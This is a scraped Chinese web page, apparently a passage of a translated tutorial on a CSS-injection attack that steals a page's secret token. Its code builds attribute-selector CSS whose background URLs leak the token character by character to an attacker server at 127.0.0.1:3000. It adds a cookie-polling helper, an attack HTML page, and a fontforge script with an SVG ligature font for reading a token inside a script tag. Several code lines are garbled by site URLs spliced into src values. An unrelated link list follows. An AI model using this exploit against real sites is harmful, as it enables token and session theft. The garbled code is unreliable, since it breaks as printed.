<!doctype html><meta charset=utf-8><script src=https://www.isolves.com/it/aq/fwq/2019-12-19/"http://127.0.0.1:3000/cookie.js">
然后我们需要补充上面的的一些功能函数首先我们清除cookie中的token值,可以直接使用JS-cookie 库中的Cookie对象 。
https://github.com/js-cookie/js-cookie
function clearTokenCookie() {Cookies.remove('token');}接下来,我们需要为 <iframe> 标签分配正确的URL:function createIframeWithCss() {iframe.src = https://www.isolves.com/it/aq/fwq/2019-12-19/'http://localhost:12345/?css=' + encodeURIComponent(generateCSS());}还要实现生成适当CSS的功能function generateCSS() {let css = '';for (let char of ALPHABET) {css += `input[value^="${extractedToken}${char}"] {background: url(http://127.0.0.1:3000/token/${extractedToken}${char})}`;}return css;}最后我们需要实现通过等待反向连接来设置cookie-token的功能.我们将使用JS中的 Promise 机制来构建异步函数,我们的代码每隔50毫秒检查一次cookie是否已设置,
如果已设置,该函数将立即返回该值 。
function getTokenFromCookie() {return new Promise(resolve => {const interval = setInterval(function() {const token = Cookies.get('token');if (token) {clearInterval(interval);resolve(token);}}, 50);});}最后,实现攻击的代码如下所示:<!doctype html><meta charset=utf-8><script src=https://www.isolves.com/it/aq/fwq/2019-12-19/"http://127.0.0.1:3000/cookie.js">
将其保存在index.js同目录下,并且命名为index.html 。访问127.0.0.1:3000/index.html

文章插图

文章插图
窃取<script>标签中的tokenCSS选择器只能帮助我们根据属性值的开头来标识元素,但是我们不能对标记本身中包含的文本执行相同的操作(CSS只是没有这种类型的选择器) 。
那么我们如何在<script>标签内获取token?比如下面的代码中 。
<script>var TOKEN = "06d36aed58d87fd8db3729ab84f1fe3d";</script>我们将使用连字和样式滚动条定义我们自己的字体来完成攻击 。什么是连字:http://www.mzh.ren/ligature-intro.html
借助_fontforge等其他软件 ,我们可以创建自己的字体包括自己的连字 。
_Fontforge是一个相当强大的字体创建工具 。
我们将使用它将字体从SVG格式转换为WOFF 。
#!/usr/bin/fontforgeOpen($1)Generate($1:r + ".woff")fontforge script.fontforge <plik>.svg让我们看看SVG中的字体定义如何 。
下面是一个简单字体的示例,其中未为拉丁字母的所有小写字母分配任何图形符号,并且宽度均为0(属性:horiz-adv-x = “0” ),同时还定义了_securak_连字 ,它也是图形符号没有,但是为他设置了很大的宽度值 。
<svg><defs><font id="hack" horiz-adv-x="0"><font-face font-family="hack" units-per-em="1000" /><missing-glyph /><glyph unicode="a" horiz-adv-x="0" d="M1 0z"/><glyph unicode="b" horiz-adv-x="0" d="M1 0z"/><glyph unicode="c" horiz-adv-x="0" d="M1 0z"/><glyph unicode="d" horiz-adv-x="0" d="M1 0z"/><glyph unicode="e" horiz-adv-x="0" d="M1 0z"/><glyph unicode="f" horiz-adv-x="0" d="M1 0z"/><glyph unicode="g" horiz-adv-x="0" d="M1 0z"/><glyph unicode="h" horiz-adv-x="0" d="M1 0z"/><glyph unicode="i" horiz-adv-x="0" d="M1 0z"/><glyph unicode="j" horiz-adv-x="0" d="M1 0z"/><glyph unicode="k" horiz-adv-x="0" d="M1 0z"/><glyph unicode="l" horiz-adv-x="0" d="M1 0z"/><glyph unicode="m" horiz-adv-x="0" d="M1 0z"/><glyph unicode="n" horiz-adv-x="0" d="M1 0z"/><glyph unicode="o" horiz-adv-x="0" d="M1 0z"/><glyph unicode="p" horiz-adv-x="0" d="M1 0z"/><glyph unicode="q" horiz-adv-x="0" d="M1 0z"/><glyph unicode="r" horiz-adv-x="0" d="M1 0z"/><glyph unicode="s" horiz-adv-x="0" d="M1 0z"/><glyph unicode="t" horiz-adv-x="0" d="M1 0z"/><glyph unicode="u" horiz-adv-x="0" d="M1 0z"/><glyph unicode="v" horiz-adv-x="0" d="M1 0z"/><glyph unicode="w" horiz-adv-x="0" d="M1 0z"/><glyph unicode="x" horiz-adv-x="0" d="M1 0z"/><glyph unicode="y" horiz-adv-x="0" d="M1 0z"/><glyph unicode="z" horiz-adv-x="0" d="M1 0z"/><glyph unicode="sekurak" horiz-adv-x="8000" d="M1 0z"/></font></defs></svg>
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 八马茶业乌龙茶GAP示范基地通过验收
- 淘宝开店人脸认证不通过怎么办 淘宝开店阿里实人认证不通过
- 做梦梦见考试没通过 女人梦见考试没通过
- 安溪茶检中心通过食品检验机构资质认定初评
- 霞浦县,三茶树种质资源保护项目通过验收
- CSS浏览器兼容性,最完整处理方案
- 如何通过局域网方式接入Internet
- HTML + CSS 为何得不到编程界的认可?
- 梦见自己考试结果没通过 梦到自己考试没有通过是怎么回事
- 淘宝店铺怎么通过认证 淘宝开店认证已通过是不是已经开店成功了
